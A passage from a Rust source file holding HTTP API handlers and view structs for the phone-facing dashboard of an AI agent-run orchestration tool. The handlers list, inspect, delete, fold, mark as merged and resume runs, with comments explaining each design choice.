3487    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3488        return "stale".to_owned();
3489    }
3490    display_status.to_owned()
3491}
3492
3493/// `?limit=`, clamped by the handler.
3494#[derive(Debug, Deserialize)]
3495struct ListQuery {
3496    #[serde(default)]
3497    limit: Option<usize>,
3498    /// Exact ids only; an empty value requests no rows (except queue blockers).
3499    ids: Option<String>,
3500}
3501
3502impl ListQuery {
3503    fn contains(&self, id: &str) -> bool {
3504        self.ids
3505            .as_ref()
3506            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3507    }
3508}
3509
3510async fn runs_list(
3511    State(ui): State<Arc<Ui>>,
3512    Query(q): Query<ListQuery>,
3513) -> ApiResult<Json<Vec<RunSummary>>> {
3514    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3515    blocking(move || {
3516        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3517        let states = run_ids(&ui.runs)
3518            .into_iter()
3519            // A run whose state cannot be read is skipped, not fatal: a run
3520            // killed mid-write must not blank the history of every other one.
3521            // The detail route still explains it, which is where an operator
3522            // asking "what happened to that run" ends up.
3523            .filter_map(|id| read_run(&ui.runs, &id).ok())
3524            .take(limit)
3525            .filter(|run| q.contains(&run.id));
3526        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3527        let summaries = summarize(
3528            states,
3529            &open_runs,
3530            &claimed,
3531            &superseded,
3532            |p| probe.borrow_mut().status(p),
3533            |p| probe.borrow_mut().started_at(p),
3534        );
3535        Ok(Json(summaries))
3536    })
3537    .await
3538}
3539
3540/// Everything the per-run rows share, read once: runs with an open question,
3541/// runs a live daemon claims, and the superseded map. Asking per run re-read
3542/// every question file and the daemon status file for each of hundreds of
3543/// runs, and spawned a process probe per run on Windows.
3544fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3545    let open_runs: HashSet<String> = ui
3546        .questions
3547        .list()
3548        .into_iter()
3549        .filter(|q| q.status.open())
3550        .map(|q| q.run)
3551        .collect();
3552    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3553        .into_iter()
3554        .map(|c| c.run)
3555        .collect();
3556    (open_runs, claimed, ui.queue.superseded())
3557}
3558
3559/// The rows of the run list, given everything that is shared between them.
3560///
3561/// Pure over its inputs so a test can count how often the process queries are
3562/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
3563/// takes, called at most once per run.
3564fn summarize<I, S, D>(
3565    states: I,
3566    open_runs: &HashSet<String>,
3567    claimed: &HashSet<String>,
3568    superseded: &HashMap<String, String>,
3569    mut status_q: S,
3570    mut identity_q: D,
3571) -> Vec<RunSummary>
3572where
3573    I: IntoIterator<Item = RunState>,
3574    S: FnMut(u32) -> Option<bool>,
3575    D: FnMut(u32) -> Option<String>,
3576{
3577    states
3578        .into_iter()
3579        .map(|state| {
3580            let waiting = open_runs.contains(&state.id);
3581            let live =
3582                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3583            let mut row = RunSummary::of(&state, waiting, live);
3584            row.superseded_by = state
3585                .pr_taken_over_by
3586                .as_ref()
3587                .or_else(|| superseded.get(&state.id))
3588                .map(String::as_str)
3589                .map(crate::run::short_of)
3590                .map(str::to_owned);
3591            row.badge_status = run_badge_status(
3592                &state,
3593                &row.display_status,
3594                live,
3595                row.superseded_by.is_some(),
3596            );
3597            row
3598        })
3599        .collect()
3600}
3601
3602/// A run as the detail route hands it to the phone.
3603///
3604/// The whole state, flattened, plus `instruction_md`: the Task panel renders
3605/// the instruction as markdown, and the raw `instruction` field this struct
3606/// still carries (unchanged) is what a client wanting the exact bytes reads
3607/// instead.
3608#[derive(Debug, Serialize)]
3609struct RunDetailView {
3610    stop_reason: Option<String>,
3611    #[serde(flatten)]
3612    state: RunState,
3613    instruction_md: Vec<md::Node>,
3614    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
3615    /// mirror the records they come from, index for index; the raw strings
3616    /// stay in `state` and decide whether a block is shown at all.
3617    #[serde(flatten)]
3618    prose_md: RunProseMd,
3619    /// Whether a process is actually still driving this run: `"live"`,
3620    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
3621    ///
3622    /// `state.active` (flattened in above) is only ever cleared by the
3623    /// process that populated it; a killed one leaves its last wave's
3624    /// entries behind. Carrying this alongside is what lets the phone rail
3625    /// tell "this seat is still answering" from "this seat was still
3626    /// answering when whatever was driving this run died" without a second
3627    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3628    /// proof of either. A string rather than a bool on purpose: a daemon
3629    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3630    /// and neither proven is `"unknown"` — folding that third case into
3631    /// either end of a bool is exactly the wrong call for a phone screen an
3632    /// operator uses to decide whether to wait or to act.
3633    live: crate::run::Liveness,
3634    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3635    /// alongside the flattened `state` rather than inside it, since
3636    /// `RunState` has no business knowing which of its own methods a caller
3637    /// wants serialized.
3638    unmerged_by_design: bool,
3639    /// Same field and meaning as [`RunSummary::waiting`].
3640    #[serde(default)]
3641    waiting: bool,
3642    /// Same derived presentation status as [`RunSummary::display_status`].
3643    #[serde(default)]
3644    display_status: String,
3645    /// Same field and meaning as [`RunSummary::badge_status`].
3646    #[serde(default)]
3647    badge_status: String,
3648    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3649    /// terminal. The client's `landView` keys on it, and the flattened state
3650    /// has no such field, so without it a finished run's stale `open` PR
3651    /// would be painted as live on the detail page.
3652    done: bool,
3653    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3654    /// route fills it from [`Queue::superseded`], the detail route from
3655    /// [`Queue::superseded_by`], and both read the same underlying task
3656    /// order. Without this the detail page could only ever show a red
3657    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3658    /// with nothing anywhere saying so — an operator opening it had no way
3659    /// to tell "this is done elsewhere" from "this still needs a retry".
3660    superseded_by: Option<String>,
3661    /// The task's current attempt, when this run is an older one — resolved
3662    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3663    /// the client to derive.
3664    ///
3665    /// Three things a client cannot safely do on its own drove this onto the
3666    /// server: it has to name the chain's *current head*, not just the next
3667    /// attempt (`superseded_by` above), because an intermediate retry in a
3668    /// longer chain can itself still be unresolved; it has to resolve to a
3669    /// real id rather than a short id a client would have to guess a full id
3670    /// from, which is ambiguous the moment two runs share a suffix; and it
3671    /// has to read that head's own status directly, because whether a run
3672    /// list a client happens to have cached even contains that attempt
3673    /// depends on a page limit this route knows nothing about.
3674    latest_attempt: Option<LatestAttempt>,
3675    /// The queue task this run belongs to, so the detail page can link back
3676    /// to the task's own page. `None` for a run nobody queued (`magi run`).
3677    task: Option<TaskRef>,
3678    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
3679    /// run recorded before origins existed. `origin` itself (flattened in
3680    /// with `state`) is `null` in that case.
3681    origin_label: String,
3682    /// Each recorded pass over this run, with the cause it stopped for. Empty
3683    /// for a run from before passes were kept: its earlier passes are unknown.
3684    pass_views: Vec<PassView>,
3685}
3686
3687/// A task named from a run's detail page.
3688#[derive(Debug, Serialize)]
3689struct TaskRef {
3690    id: String,
3691    short: String,
3692    title: String,
3693    /// [`Source::label`], e.g. `chat@a1b2`.
3694    source_label: String,
3695    /// Where the task came from, when that place has a page; see [`source_link`].
3696    source_link: Option<SourceLink>,
3697    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3698    status: &'static str,
3699    attempts: usize,
3700    max_attempts: usize,
3701    /// This run is the last entry of the task's run list.
3702    is_latest: bool,
3703    /// The task's newest run, when it is not this one.
3704    latest: Option<RunBrief>,
3705    /// The run that finished a `done` task (merged, or already in the base).
3706    finished_by: Option<RunBrief>,
3707    /// The task is `done` but no run on record finished it: closed by hand.
3708    closed_by_hand: bool,
3709}
3710
3711/// The page that filed a task, as the UI links to it.
3712#[derive(Debug, PartialEq, Eq, Serialize)]
3713struct SourceLink {
3714    /// `chat` (a conversation) or `run` (a run's node).
3715    kind: &'static str,
3716    /// The full id, never the short one in the label.
3717    id: String,
3718    /// The hash route that opens it.
3719    href: String,
3720}
3721
3722/// Percent-encode everything outside the URL-unreserved set.
3723fn encode_segment(raw: &str) -> String {
3724    let mut out = String::with_capacity(raw.len());
3725    for b in raw.bytes() {
3726        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3727            out.push(b as char);
3728        } else {
3729            out.push_str(&format!("%{b:02X}"));
3730        }
3731    }
3732    out
3733}
3734
3735/// The one place that decides where a task's source links to. A chat
3736/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3737/// a person or an imported issue has no page, so no link.
3738fn source_link(source: &Source) -> Option<SourceLink> {
3739    let Source::Agent { run, node } = source else {
3740        return None;
3741    };
3742    let (kind, route) = if node == crate::queue::CHAT_NODE {
3743        ("chat", "chat")
3744    } else {
3745        ("run", "runs")
3746    };
3747    Some(SourceLink {
3748        kind,
3749        id: run.clone(),
3750        href: id_links::page_href(route, run),
3751    })
3752}
3753
3754/// The parent task of a follow-up, when its file can still be read.
3755#[derive(Debug, Serialize, PartialEq)]
3756struct FollowUpParent {
3757    id: String,
3758    short: String,
3759    title: String,
3760    /// The parent's own status (`TaskStatus::as_str`).
3761    status: &'static str,
3762    href: String,
3763}
3764
3765/// The merged run a follow-up was filed from.
3766#[derive(Debug, Serialize, PartialEq)]
3767struct FollowUpRun {
3768    id: String,
3769    short: String,
3770    /// `None` when the run's record cannot be read.
3771    status: Option<&'static str>,
3772    /// `None` unless the record could be read: never a dead link.
3773    href: Option<String>,
3774}
3775
3776/// Where a follow-up task came from, resolved once per task page so the flow
3777/// chart and the detail block cannot disagree. See [`followup_origin`].
3778#[derive(Debug, Serialize, PartialEq)]
3779struct FollowUpOrigin {
3780    /// Present only when `origin_task` is set and that task still exists.
3781    parent: Option<FollowUpParent>,
3782    run: FollowUpRun,
3783    /// The merged pull request, verbatim. Not an href: the client passes it
3784    /// through `forgeUrl()` and renders text when that refuses it (the one
3785    /// exception to "the href rule is Rust's alone", since a forge URL is
3786    /// data from a record, not a route).
3787    pr: String,
3788    findings: Vec<String>,
3789    generation: u32,
3790}
3791
3792/// The one place that decides what a follow-up links to. A parent that cannot
3793/// be read (gone, or an id that names nothing) is `None`, never an error.
3794fn followup_origin(
3795    fu: &crate::queue::FollowUp,
3796    task: impl Fn(&str) -> Option<Task>,
3797    run: impl Fn(&str) -> Option<RunState>,
3798) -> FollowUpOrigin {
3799    let parent = fu
3800        .origin_task
3801        .as_deref()
3802        .and_then(task)
3803        .map(|t| FollowUpParent {
3804            short: t.short().to_owned(),
3805            href: format!("#/tasks/{}", encode_segment(&t.id)),
3806            status: t.status.as_str(),
3807            title: t.title,
3808            id: t.id,
3809        });
3810    let state = run(&fu.run);
3811    FollowUpOrigin {
3812        parent,
3813        run: FollowUpRun {
3814            short: run::short_of(&fu.run).to_owned(),
3815            status: state.as_ref().map(|s| s.status.as_str()),
3816            href: state
3817                .is_some()
3818                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3819            id: fu.run.clone(),
3820        },
3821        pr: fu.pr.clone(),
3822        findings: fu.findings.clone(),
3823        generation: fu.generation,
3824    }
3825}
3826
3827/// Another run of the same task, as named from a run's detail page.
3828#[derive(Debug, Serialize)]
3829struct RunBrief {
3830    id: String,
3831    short: String,
3832    /// `None` when the run's record cannot be read.
3833    status: Option<&'static str>,
3834    /// The task-page wording for how that pass ended.
3835    outcome: String,
3836    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
3837    badge: Option<String>,
3838}
3839
3840/// The task's overall outcome as seen from `this_run`'s page, classified with
3841/// the same exits the task page's flowchart uses.
3842fn task_outcome(
3843    task: &Task,
3844    this_run: &str,
3845    max_attempts: usize,
3846    read: impl Fn(&str) -> Option<RunState>,
3847) -> TaskRef {
3848    let max_attempts = task.effective_attempt_limit(max_attempts);
3849    let history = task_history(task, read);
3850    let brief = |h: &TaskRunView| RunBrief {
3851        id: h.id.clone(),
3852        short: h.short.clone(),
3853        status: h.status,
3854        outcome: h.exit.edge_label(h.status),
3855        badge: h.badge.clone(),
3856    };
3857    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3858    let latest = if is_latest {
3859        None
3860    } else {
3861        history.last().map(brief)
3862    };
3863    let done = task.status == TaskStatus::Done;
3864    let finished_by = done
3865        .then(|| {
3866            history
3867                .iter()
3868                .rev()
3869                .find(|h| {
3870                    matches!(
3871                        h.exit,
3872                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3873                    )
3874                })
3875                .map(brief)
3876        })
3877        .flatten();
3878    TaskRef {
3879        short: task.short().to_owned(),
3880        title: task.title.clone(),
3881        id: task.id.clone(),
3882        source_label: task.source.label(),
3883        source_link: source_link(&task.source),
3884        status: task.status.as_str(),
3885        attempts: task.attempts,
3886        max_attempts,
3887        is_latest,
3888        latest,
3889        closed_by_hand: done && finished_by.is_none(),
3890        finished_by,
3891    }
3892}
3893
3894/// The task's current attempt, as seen from an older one's detail page.
3895#[derive(Debug, Serialize)]
3896struct LatestAttempt {
3897    id: String,
3898    short: String,
3899    /// Whether this attempt itself settled with a result nobody needs to
3900    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3901    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3902    /// unconfirmed claim that no change was needed, which is exactly why it
3903    /// settles the task through `Held` rather than `Done` and still waits on
3904    /// a human to check the evidence; showing an older run as "finished
3905    /// elsewhere" on the strength of an unverified claim would bury the
3906    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3907    /// in-flight status are excluded because they are exactly the
3908    /// unresolved states this field exists to tell apart from a real finish.
3909    resolved: bool,
3910    /// The attempt's own recorded status, so the page can say where it
3911    /// stands while it is not resolved yet.
3912    status: RunStatus,
3913    /// Whether that status is terminal (nothing is still running it).
3914    done: bool,
3915}
3916
3917/// Markdown for the free-text prose of a run, parallel to `RunState`.
3918#[derive(Debug, Default, Serialize)]
3919struct RunProseMd {
3920    /// `None` when the run has no design deliberation.
3921    advice_md: Option<AdviceMd>,
3922    /// One entry per candidate: the summary.
3923    candidate_summaries_md: Vec<Vec<md::Node>>,
3924    /// One entry per review round, in `reviews` order.
3925    reviews_md: Vec<RoundMd>,
3926}
3927
3928#[derive(Debug, Default, Serialize)]
3929struct AdviceMd {
3930    synthesis: Vec<md::Node>,
3931    /// One per record; empty for a seat with no proposal.
3932    approaches: Vec<Vec<md::Node>>,
3933}
3934
3935#[derive(Debug, Default, Serialize)]
3936struct RoundMd {
3937    /// One per reviewer record.
3938    reviewers: Vec<ReviewerMd>,
3939    /// One per `reconsideration` entry: the reason.
3940    reconsideration: Vec<Vec<md::Node>>,
3941    fix: Option<FixMd>,
3942}
3943
3944#[derive(Debug, Default, Serialize)]
3945struct ReviewerMd {
3946    summary: Vec<md::Node>,
3947    /// One per finding, in recorded order (not the display order).
3948    findings: Vec<Vec<md::Node>>,
3949}
3950
3951#[derive(Debug, Default, Serialize)]
3952struct FixMd {
3953    notes: Vec<md::Node>,
3954    /// One per rejection: the argument.
3955    rejected: Vec<Vec<md::Node>>,
3956}
3957
3958/// Parse a run's agent-written prose; a pure function of the state.
3959fn run_prose_md(state: &RunState) -> RunProseMd {
3960    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3961    RunProseMd {
3962        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3963            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3964            approaches: a
3965                .records
3966                .iter()
3967                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3968                .collect(),
3969        }),
3970        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3971        reviews_md: state
3972            .reviews
3973            .iter()
3974            .map(|round| RoundMd {
3975                reviewers: round
3976                    .reviews
3977                    .iter()
3978                    .map(|rec| ReviewerMd {
3979                        summary: nodes(&rec.summary),
3980                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3981                    })
3982                    .collect(),
3983                reconsideration: round
3984                    .reconsideration
3985                    .iter()
3986                    .map(|rv| nodes(&rv.reason))
3987                    .collect(),
3988                fix: round.fix.as_ref().map(|fix| FixMd {
3989                    notes: nodes(&fix.notes),
3990                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3991                }),
3992            })
3993            .collect(),
3994    }
3995}
3996
3997impl RunDetailView {
3998    fn of(
3999        state: RunState,
4000        waiting: bool,
4001        live: crate::run::Liveness,
4002        superseded_by: Option<String>,
4003        latest_attempt: Option<LatestAttempt>,
4004        task: Option<TaskRef>,
4005    ) -> Self {
4006        let display_status = run_display_status(&state, waiting, live);
4007        let stop_reason = crate::stop_reason::of(
4008            &state,
4009            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4010        );
4011        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4012        Self {
4013            stop_reason,
4014            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4015            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4016            prose_md: run_prose_md(&state),
4017            origin_label: crate::run::origin_label(state.origin.as_ref()),
4018            live,
4019            unmerged_by_design: state.unmerged_by_design(),
4020            waiting,
4021            display_status,
4022            badge_status,
4023            done: state.status.done(),
4024            superseded_by,
4025            latest_attempt,
4026            task,
4027            state,
4028        }
4029    }
4030}
4031
4032/// Core content needs neither the queue nor question/liveness evidence.
4033async fn run_core(
4034    State(ui): State<Arc<Ui>>,
4035    Path(id): Path<String>,
4036) -> ApiResult<Json<RunDetailView>> {
4037    blocking(move || {
4038        let id = resolve_run(&ui.runs, &id)?;
4039        let state = read_run(&ui.runs, &id)?;
4040        Ok(Json(RunDetailView::of(
4041            state,
4042            false,
4043            crate::run::Liveness::Unknown,
4044            None,
4045            None,
4046            None,
4047        )))
4048    })
4049    .await
4050}
4051
4052async fn run_detail(
4053    State(ui): State<Arc<Ui>>,
4054    Path(id): Path<String>,
4055) -> ApiResult<Json<RunDetailView>> {
4056    blocking(move || {
4057        let id = resolve_run(&ui.runs, &id)?;
4058        let state = read_run(&ui.runs, &id)?;
4059        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4060        let live = state.liveness(daemon_claims);
4061        crate::queue::record_ids(ui.questions.root(), "json")?;
4062        let waiting = ui
4063            .questions
4064            .list()
4065            .iter()
4066            .any(|q| q.run == id && q.status.open());
4067        let max_attempts = daemon::Opts::default().max_attempts;
4068
4069        let matching_task = ui.find_task_for_run(&id)?;
4070
4071        let superseded_by = state
4072            .pr_taken_over_by
4073            .clone()
4074            .or_else(|| {
4075                matching_task
4076                    .as_ref()
4077                    .and_then(|t| t.successor_of(&id).cloned())
4078            })
4079            .as_deref()
4080            .map(crate::run::short_of)
4081            .map(str::to_owned);
4082
4083        // Best-effort: an unreadable head (mid-write, or deleted) just means
4084        // this run's own status stands on its own, same as no later attempt
4085        // existing at all.
4086        let latest_attempt = matching_task
4087            .as_ref()
4088            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4089            .and_then(|head_id| {
4090                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4091                    short: head.short().to_owned(),
4092                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4093                    status: head.status,
4094                    done: head.status.done(),
4095                    id: head.id,
4096                })
4097            });
4098
4099        let task = matching_task
4100            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4101
4102        Ok(Json(RunDetailView::of(
4103            state,
4104            waiting,
4105            live,
4106            superseded_by,
4107            latest_attempt,
4108            task,
4109        )))
4110    })
4111    .await
4112}
4113
4114/// `DELETE /api/runs/{id}`.
4115///
4116/// Remove a finished, folded run directory along with its artifacts.
4117/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4118/// deleted. This never touches git worktrees or branches - except for a run
4119/// whose state this build cannot read at all, where there is no candidate
4120/// list to check and the wholesale removal `magi fold` already uses for that
4121/// case is the only meaningful "delete".
4122async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4123    let (id, unreadable) = {
4124        let ui = Arc::clone(&ui);
4125        blocking(move || {
4126            let id = resolve_run(&ui.runs, &id)?;
4127            match read_run(&ui.runs, &id) {
4128                Ok(state) => {
4129                    let in_flight =
4130                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4131                    state
4132                        .ensure_can_delete(in_flight)
4133                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4134                    let dir = ui.runs.join(&id);
4135                    std::fs::remove_dir_all(&dir)
4136                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4137                    Ok((id, false))
4138                }
4139                Err(_) => {
4140                    // Unreadable: there is no candidate list to guard on, so
4141                    // a live daemon's claim is the only thing left to check -
4142                    // the same rule `run_fold` applies for the same reason.
4143                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4144                        return Err(ApiError::conflict(format!(
4145                            "run {id} is being worked on by a live daemon right now"
4146                        )));
4147                    }
4148                    Ok((id, true))
4149                }
4150            }
4151        })
4152        .await?
4153    };
4154    if unreadable {
4155        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4156            .await
4157            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4158    }
4159    let ui = Arc::clone(&ui);
4160    let done = id.clone();
4161    blocking(move || {
4162        // The agent that asked died with the run, so an open question would
4163        // keep asking the operator for a decision nobody can deliver.
4164        ui.questions.abandon_for_run(
4165            &done,
4166            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4167        )?;
4168        Ok(())
4169    })
4170    .await?;
4171    Ok(StatusCode::NO_CONTENT)
4172}
4173
4174/// `POST /api/runs/{id}/fold`.
4175///
4176/// Remove a run's candidate worktrees and branches, keeping its record.
4177///
4178/// This exists because the deck answered "delete this run" with *"Candidates
4179/// must be folded before deleting. Run `magi fold` first."* — a phone being
4180/// told to open a terminal, in the one product whose point is that it does
4181/// not need one. The runs an operator most wants gone are the stalled and
4182/// blocked ones, and those are exactly the runs still holding worktrees:
4183/// three of them here held 53 GB.
4184///
4185/// The winner's tree goes too. A fold is what someone asks for when they are
4186/// finished with a run, and leaving one tree behind would leave the delete
4187/// button disabled for the same reason as before.
4188///
4189/// Refused while a live daemon is working on the run, on the rule that guards
4190/// deletion: folding underneath a running agent would pull the tree it is
4191/// editing out from under it.
4192///
4193/// A run whose state this build cannot read at all falls back to
4194/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4195/// selectively, so the whole record's worktree goes wholesale, exactly what
4196/// `magi fold` does on the command line for the same run.
4197async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4198    let (id, state) = {
4199        let ui = Arc::clone(&ui);
4200        blocking(move || {
4201            let id = resolve_run(&ui.runs, &id)?;
4202            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4203                return Err(ApiError::conflict(format!(
4204                    "run {id} is being worked on by a live daemon right now"
4205                )));
4206            }
4207            let state = read_run(&ui.runs, &id).ok();
4208            Ok((id, state))
4209        })
4210        .await?
4211    };
4212    let removed = match state {
4213        Some(mut state) => {
4214            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4215                .await
4216                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4217            // Nothing left to remove is not the same thing as nothing left to
4218            // do — see `clean::clear_abandoned_active`'s own doc for the run
4219            // this exists for: worktrees already gone, but a killed process
4220            // left active seats nobody will ever answer for.
4221            if removed.is_empty() {
4222                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4223                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4224            }
4225            removed
4226        }
4227        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4228            .await
4229            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4230    };
4231    Ok(Json(FoldView {
4232        run: id,
4233        removed_count: removed.len(),
4234        removed,
4235    }))
4236}
4237
4238/// What a fold took away, so the deck can say so rather than only re-render.
4239#[derive(Debug, Serialize)]
4240struct FoldView {
4241    run: String,
4242    /// Worktree paths and branch names removed, in the order they went.
4243    removed: Vec<String>,
4244    removed_count: usize,
4245}
4246
4247/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4248/// merged outside of `land::land`'s own loop.
4249#[derive(Debug, Deserialize)]
4250struct FoldMergedBody {
4251    #[serde(default)]
4252    pr_url: String,
4253}
4254
4255/// `POST /api/runs/{id}/fold-merged`.
4256///
4257/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4258/// `Blocked` with `merge: null` because magi never got as far as opening a
4259/// pull request of its own (a title over GitHub's length limit, `gh pr
4260/// create` unreachable, a stale token), which the operator then finished by
4261/// hand on a pull request magi never recorded. The "Run actions" sheet used
4262/// to have no way to tell it about that pull request short of a terminal and
4263/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4264/// this exists and what it deliberately does not do (`bump::after_merge`).
4265///
4266/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4267/// correction rewrites the same `status`/`merge` fields a running graph would
4268/// be writing to on its own.
4269///
4270/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4271/// calls plus a fold, seconds of work, and the phone should get its answer
4272/// (which pull request it recorded, and what changed) in the same round
4273/// trip rather than learning it from the change stream.
4274async fn run_fold_merged(
4275    State(ui): State<Arc<Ui>>,
4276    Path(id): Path<String>,
4277    Json(body): Json<FoldMergedBody>,
4278) -> ApiResult<Json<FoldMergedView>> {
4279    let pr_url = body.pr_url.trim().to_owned();
4280    if pr_url.is_empty() {
4281        return Err(ApiError::bad_request("pr_url is required"));
4282    }
4283    let (id, mut state) = {
4284        let ui = Arc::clone(&ui);
4285        blocking(move || {
4286            let id = resolve_run(&ui.runs, &id)?;
4287            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4288                return Err(ApiError::conflict(format!(
4289                    "run {id} is being worked on by a live daemon right now"
4290                )));
4291            }
4292            let state = read_run(&ui.runs, &id)?;
4293            Ok((id, state))
4294        })
4295        .await?
4296    };
4297    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4298        .await
4299        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4300    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4301        .await
4302        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4303    Ok(Json(FoldMergedView {
4304        run: id,
4305        before: before.as_str().to_owned(),
4306        after: after.as_str().to_owned(),
4307        removed,
4308    }))
4309}
4310
4311/// What [`run_fold_merged`] did, so the deck can say so.
4312#[derive(Debug, Serialize)]
4313struct FoldMergedView {
4314    run: String,
4315    /// `status` before the correction — normally `"blocked"`.
4316    before: String,
4317    /// `status` after — normally `"merged"`.
4318    after: String,
4319    /// Worktree paths and branch names the trailing fold removed.
4320    removed: Vec<String>,
4321}
4322
4323/// `POST /api/runs/{id}/resume`.
4324///
4325/// Carry a stalled run on from where it stopped, in the background.
4326///
4327/// A stalled card says "the work is kept" and used to offer no way to act on
4328/// that: the candidates are built and paid for, and continuing means re-asking
4329/// only the seats whose absence collapsed the panel. The alternative an
4330/// operator actually had was releasing the task, which competes three fresh
4331/// implementations against work that already exists.
4332///
4333/// **202, not 200.** A resume runs agents for minutes; holding the connection
4334/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4335/// phone learns the outcome from the change stream.
4336///
4337/// Refused when the loop is running at all, not merely when it is on this run.
4338/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4339/// started a second graph on top of whatever the loop is already driving —
4340/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4341/// allows — would spend that quota twice over for no extra throughput.
4342async fn run_resume(
4343    State(ui): State<Arc<Ui>>,
4344    Path(id): Path<String>,
4345) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4346    let (id, state) = {
4347        let ui = Arc::clone(&ui);
4348        blocking(move || {
4349            let id = resolve_run(&ui.runs, &id)?;
4350            let state = read_run(&ui.runs, &id)?;
4351            Ok((id, state))
4352        })
4353        .await?
4354    };
4355    crate::resume::validate_unqueued(&ui.home, &id)
4356        .map_err(|e| ApiError::conflict(e.to_string()))?;
4357    let _resume = ui.begin_resume(&id)?;
4358
4359    // The same shape the list route returns, so the phone updates the card it
4360    // already has rather than learning a second schema for one button.
4361    let queued = RunSummary::of(
4362        &state,
4363        !ui.questions.open_for(&id).is_empty(),
4364        state.liveness(false),
4365    );
4366    let run = id.clone();
4367    tokio::spawn(async move {
4368        let _resume = _resume;
4369        crate::resume::execute(&run).await;
4370    });
4371    Ok((StatusCode::ACCEPTED, Json(queued)))
4372}
4373
4374async fn run_report(
4375    State(ui): State<Arc<Ui>>,
4376    Path(id): Path<String>,
4377) -> ApiResult<impl IntoResponse> {
4378    let text = blocking(move || {
4379        let id = resolve_run(&ui.runs, &id)?;
4380        // Colour is off for the whole process, set once in `serve`. Rendering
4381        // is CPU work over the full state, which is the other reason this is
4382        // not on the executor.
4383        let state = read_run(&ui.runs, &id)?;
4384        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4385        let live = state.liveness(daemon_claims);
4386        Ok(format!(
4387            "{}{}",
4388            report::run(&state),
4389            report::active_seats(&state, live)
4390        ))
4391    })
4392    .await?;
4393    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4394}
4395
